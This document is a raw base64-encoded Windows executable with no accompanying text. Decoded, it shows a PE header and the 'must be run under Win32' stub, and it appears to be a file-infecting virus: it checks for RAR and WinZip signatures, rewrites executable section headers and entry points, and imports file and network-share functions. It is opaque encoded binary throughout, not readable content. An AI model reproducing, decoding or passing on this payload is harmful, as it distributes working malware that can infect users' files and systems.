1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1pFd3Jg7Opj6e9Ie+1t6uF08+xvc2zsb el08+xvc2zsbehNYOpvWepgfeljSsNDQXfrY2F1+G1h6mB96WBPb+fvW29b6+xvW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tZ72NHWE3rZetYTuLqY1hPY+xrWE5r6WNbW1tbW1tbW1tbW 1tYTWNlY1hPbWHvWE9tYe1vWEzj6mtYT+rjY1hNaO7rWE5hYGtYT2Vu41hOb2DrWE7rY2NYT utYT2Pq41hN72DrWE3vYejrWE5r6u9YTe9iw1hPYWhrW1rw7Glg4+ph6XX/7upg7uDsaWF08 +xtaOzi4Xb54mJh6G1gcepi4+zsbXdb+2NjS3PpY27jWnHgb1px4Gz8bunrWvPm4WHp7Xb54 mJh6G1i+OxtYmDtbvHpYXbx6mBj7unq41rw7Glg4+ph6XX/7upg7uDsaWF08/p5dPP6eUF08 +prSHvtbetIf+nt61px4G7x6mBj7unq41v8bWHqYG3pY0rx6WFj7Gzq4Xb76utt6Xdz6WNu4 1tbW1tbW1tbf+1PW33pbWztT1px6kdYeOJHWfBtaelv7GHqY+ppbetJ7+vtbc3OScriS1px6 WHiYG3pa0nv6+1tzc5JyuJLW1tbW1vrScrjScrjSOvp7etb60nK40nK40lg7O1vW+tJyuNJy uNI4epq4+1h61vrScrjScrjS2PpYutvWcrjSmHp7Oxj6W9JYOztbuNbW1tbW1tbWG3o41hp4 Gxv51hv7unrW23h7O3iY1nrZuvtYetY6Ozta1tg7OBp4W9Y8+xvd3Nb/ftIQE9DWPLCQE35b u3qYG9LWPLCQE79bepkTftbW2zs40vqYetL5O3jWW3pYMrjSmnrSGpj7ehtauNZa+phb+xs6 1rg70ro7O1vS+tIaW/q421N6G5s7+dL7WNb5O3iY0tj6uLg4O5ha1ts7G3r51rg7e3rS+Hh6 uFj7Oxu41thbevq4etJYmPnS+jr6+xvWOHpbujt7etJYO9J7+dLbO3t6WDs4G9ZY23rSPvqY Wnob0jsa0n5aehvW+xtYmDtaeLpY+zsb0jsb0v5evF/We3p6WPsbOtIbO1j7unrW+Hh6uFj7 Oxsb+vuYeta6Oxs6mPpYeFv6WPs7G7jWuDu48tab+tj6G3q4etI6+5hb0hy80thb+vmaO/nW Wzs7u1N7+dKaevp4WPsaeFvSOvuYW9IamPt6G1rWevo6epjSWDvSuHp60vk7eNa42Pu6etI6 +5hbuDLSGDu6+lvSujsbunqYWNab+tj6G3q4etJb+ri4MtK4etn50tj7ulh4mHq41tbW1rz5 e/obWHq61n+6+hp6etYec7x6uniYeta8O9jbO7jWXJh6G1p7+7qYO9a/+rjYepi4u/nW1tbW Hpg7e5HS1lw7kdLWvHiam3q6WJHS1tbWXNt60ho7W1s7OPsbOtJ7+vtb0rr6GzJY0pp60rh6 G1jSWDvScriR1lzbetL6WFj6utt7ehtY1lzbetIa+1t61tL7uNJY23rSO5j7Ovsb+lvSe/r7 W9bSOvsYetL5O3jSWNt60nK41tL7uNL60nK40lr6Gzp6mDt4uNIY+5h4uNJY2/pY0nK41rr6 G9L7Gxp6uljSOxvSPPsb8dEzf3ozkNDQ0DPd3BPWuNiYevpa0ljbmDt4OtvSenv6+1sT1hh6 mPnS1rjYerr7+lvS1ttYWNiRMzPWODg4E9YTujt71h47mNJ7O5h60vsbGjuYe/pY+zsbU9hb evq4etIY+7j7WNLWXNv7uNL7uNLW/9JyuNL5O3jSODt4W1rScrjS+1gT1nobmzv51lv7u3rW OPu429bbO9h61nrZ2Hq6WNbWvtuY+7hYe/q41h96ONL5evqY1rz6+xtY0hz6W3obWPsbejK4 0l76+db+W1vb+ltbOzh7+rjW/tiY+1vSHjs7W7gy0l76+dZf+lr50l76+db+uLh4e9hY+zsb 1r76G1pbenv6uNb+W1vSvDt4W7gyXvr51n7Y+9jb+hv51tbW1tbf+tjY+dLW3/oYetL60tbW UZqYEXeX1neX1tg7uFh7+rhYepjW1tY8+xu71tb/e/o6etz6WNvWf/9/fnMcepi4+zsbkdLw E9B3l747G1h6G1hzXPnYepHSe3hbWPvY+phYM/pbWHqYG/pY+xh6sXeX95o7eBta+pj5cda+ OxtYehtYc1z52HqR0lh62Vgz21h7W7F3l747G1h6G1hzXJj6G7gaephzfhu6O1r7GzqR0vh4 O1h6WnPYmPsbWPqaW3p3l3eXUd9cf18RUd9+/l4RUTPffv5eEVGeP179EXK4d5dRHj8fXBHW 1lEzHj8fXBFRM54/Xv0RUTPfXH9fEdbW1r47G1h6G1hzXPnYepHScrixd5f3G/p7enFyuHeX vjsbWHobWHNcmPobuBp6mHN+G7o7WvsbOpHSmvq4ehBQd5e+OxtYehtYc/9ekdJRcrgR1tbW 1tbW1tbW1vp4Wvs7M9lzOPoY1vp4Wvs7M9lze/ta+9b62Nhb+7r6WPs7GzM7ulh6WHO4WJh6 +nvW1tbW1tbW1tZ3l1H7Gpj6e3rSuJi6cbBeuvtakXK40tt6+zrbWHGwXtDSOPtaWNtxsF7Q EXeXUTP7Gpj6e3oR1lzb+7jSOvp7etL7uNJ7+dIa+5i4WNI4O5i7E1GamBF3l/07eDKYetJY 23rSGvuYuFjS2Fv6+XqYE9Y//7781tyYOzqY+nse+1t6uF77mNbW1ta4e1jYE9Y9/hzcsJDW Pf4c3L6+1h8/XrCQ1h/cvLwcvtYfnH68/LCQ1h+8vt9+XrCQ1h+8vt9+Xh9c1h+83F98Pv8f 1h/+HNYf/hz+3LwcvtYf/hz+3DywkNYf/hxffLCQ1h/+HJx8H5zWH/4cPLCQ1j3+HNx/1v5f fpxcvBy+1v5/Px/W/hzcsJDW/hzcvr7W/hzcf9YfsJC8vv4fPNYf/hw8H1zW/h9c/xz/nNb+ HNx83F7W/hw+vlycX9b+HDz/H/Fw1ry+/h+wkNYcvN88/x+wkNYec7xcP9w81h5z3Jw/XPFw 1v6+vzz/H7CQ1hx+XFyc/v3WHH5c8XDWvDx+ftzxcNbcvr48/x/x0db/P38/H/HR1v4c3Fy+ 1v4cfrCQ1v4cvj8fvD9f1h7cczz/H9ZeHNzxcNYec/4+H1zxcNa+X/488XDWHxy+8XDWvL7+ H9Yc/5x8vNZfP76/Xj88H5DQ0NDWHzuYWDsb1n+6+hp6etb+G1j7GPuY1lz+vL9/PpzW1tbW 1tbW1tbW1tbW1tbW1tbW/h9c/3Mc/5wTXv5c1r7fv1//vFwTXv5c1r7fv1//vFwTf7zWvt+/ X/+8XBO+3LzWvt+/X/+8XBNc/hzW/xyeEx9cnda8f/6cXL7fvxN/vNa8f/6cXL7fvxO+3LzW /hw+/FwTXv5c1v4+fP6cXhNe/lzW1tbW1tbWvNtbOPrY+xNaW1vWv3qYG3pbsJATWltb1ht6 WPrY+7CQE1pbW9a4GroTWltb1tbW1ta8+5i6+nvWH/t7WvrWvjtaepx6WtY8/L9/f7DRMNHW Ppz/fh6w0TDR1h54G9JfOxj7GzrSvpj7e/sb+lvWHzuYWDsb1n+6+hp6etb+G1j7GPuY1v4Y ujsbuDtb1h5zvFw/3DzWHnO8erp4mHrWvDvY2zu41hj7mHi41v4c3NJ/Oxv7WDuY1v4c3NJ8 2Fr6WHq41v8bO7p4W/pYev9c1ty+c7r7W1v7G9a8+Xv6G1h6utZcmHobWtJ/+7qYO9Yec9yc P1zW0h8/XrCQ0tbW1px6Ovu4WHqYvHqYGPu6etyYO7p6uLjWH3pYvNv6mHr+WlrWvN9eelt6 WHq/evn+1rwauv+4HvtbetyYO1h6ulh6WtYfeli82/qYej56WP8bGjvWH3pY/tj7nngaGnqY Hph6etbW1tbWft3cXz+cfpzWvn9/PpzWe7j7exvW+7o4ujsbG9Y4+xuZ+9jW1tbW1tyYOzqY +nvWcrjSUXK4Edb+nr5efh4+3/+fv19/Hz/c/Jy8XHwcPN39nfqaulp6Gjrb+5u7W3sbO9j4 mLhYeBg42fmZ0PCQsFBwEDDR8bMz1rh6WHjY1vsbuFj6W1vWWnp7O9a4Gzs72PnW2Pu6+rp4 1rv7WFj51thb+vnWmDu6u9bW1tbW1tbWnPqY8pU21i/EuNbWd9bW1tbW1tbW1hOY+pjW1jj7 G/sbelgTWltb1v8bWHqYG3pYPnpYvjsbG3q6WHpavFj6WHrW1tZe+5h6ulg7mPnWWltbuvq6 23rW1rx6XnqaeDrcmPsY+1t6OnrWvHpcuprcmPsY+1t6OnrW1tbW1tbW1tY4mnOb+tj6GxO6 OxOb2NYYepj7mTsbExt6WNb6mPh4+5h6WhN6uNZa+xr6uhO6O3vW1rw7Glg4+ph6XX/7upg7 uDsaWF3/G1h6mBt6WNL+uro7eBtY0n/6G/o6ephd/rq6O3gbWLhd1rx/XNzSvHqYGHqY1rx/ XNzSfnv6+1vS/lpamHq4uNbWPDuYe9K/W3qZE37S+3t7eBv7WPnW1r9bepkTftL7uNJY23rS ezu4WNK6O3t7OxvSODuYW1pzOPtaetK42Jh6+lr7GzrSODuYexP/WDK40hh6mPnSWvobOnqY O3i40pr50ro7mJh42Fj7GzrS+Tt4mNIa+1t6uBNRmpgRd5eeerr6eLh60jsa0vtYuNIYepj5 0rh7+phY0rhYevpbWNvS+hta0vobWPtz+htY+3MY+5h4uNJYerrbG/u6U3s7uFjSujt7ezsb 0v4c0rg7Glg4+ph60rr6GzJY0lp6WHq6WNI7mNK6W3r6G9L7WBNRmpgRd5c8etJaehh6WzvY elrSWNv7uNIamHp60vt7e3gb+1j50lg7O1vSWDvSWnoaevpY0ljbetJ7+lv7uvs7eLjSGPuY eLgTUZqYEXeX/Tt40jsbW/nSG3p6WtJYO9KYeBvSWNv7uNJYOztb0jsbunpT+hta0ljbehvS v1t6mdI4+1tb0ht6GHqY0ro7e3rS+xtYO9L5O3iY0ty+E1GamBF3lx8/XH6R0p56uvp4uHrS WNv7uNJYOztb0vq6WLjS+rjS+tIa+rt60r9bepnSWDvSGjs7W9JY23rSmHr6W9I4O5h7U7g7 e3rS/hzSezsb+1g7mNJ7+vmaetK6mPnSONt6G9L5O3jSmHgb0vtYE1GamBF3l/8a0rg7U/86 GzuYetJY23rSOPqYG/sbOlP6G1rSuHpberpY0jK6OxtY+xt4ejITUZqYEXeX/xrS+Tt40tv6 GHrS+hv50vh4erhY+zsbU9hbevq4etJR+tLbmHoacbBee/r7W1g7kXK4EXv6+1vSWDvSe3pR M/oRE9bW1tbW1tbWd5c8+xuwkNK/W3qZ0hyQE9Dw0hLSPPsbsJDSHjuYO3jZ0hzwE9B3l747 2PmY+zrbWNKQ0NCQU3v6WnrS+xvS/rj7+neX/po7eFjSv1t6mdIckBPQ8JF3l/fwU3/6+xvS e/u4uPs7G9L7uNJYO9KYelt6+rh60ljbetIbejjSmvqa+dLcftIY+5h4uFM8+xuwkNIeO5g7 eNl3l/eQUx870rj7Ohv7Gvu6+htY0rrb+hs6ehMfO9KaeDrSGvvZeloTHzvS+hv50tj6+Vs7 +loTd5f+mjt4WNI8+xuwkNIeO5g7eNnS09hbmdK7enrY0ljbetIb+nt6U1jb+hvZ83eX9/BT HnhbW9K6O3vY+lj7mlt60jz7G7CQ0tx+0hj7mHi40jsb0jz7G/HdM5C/Mx9cM93cd5f3kFM8 +1jb0hh6mPnS+xtYeph6uFj7GzrSGnr6WHiYehO+23q6u9L7WPJ3l/ewUx870vob+dLY+vlb O/paEx870vob+dI72Fj7e/uZ+lj7Oxt3l/dQUx87WNKaeDrSGph6elOaerr6eLh60jsa0vrS 23iYmPnSODuYuxMfO9J7O5h60ljb+hvSWNuYenrSOHp6u7jSGpg7e9Lb+hj7GzrSuHi629L7 Wnr60lg70vq6ujt72Fv7uNv7GzrSujta+xs60vobWtJYerhY+xs6d5fWAAABAAAAEAAAAB0A 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 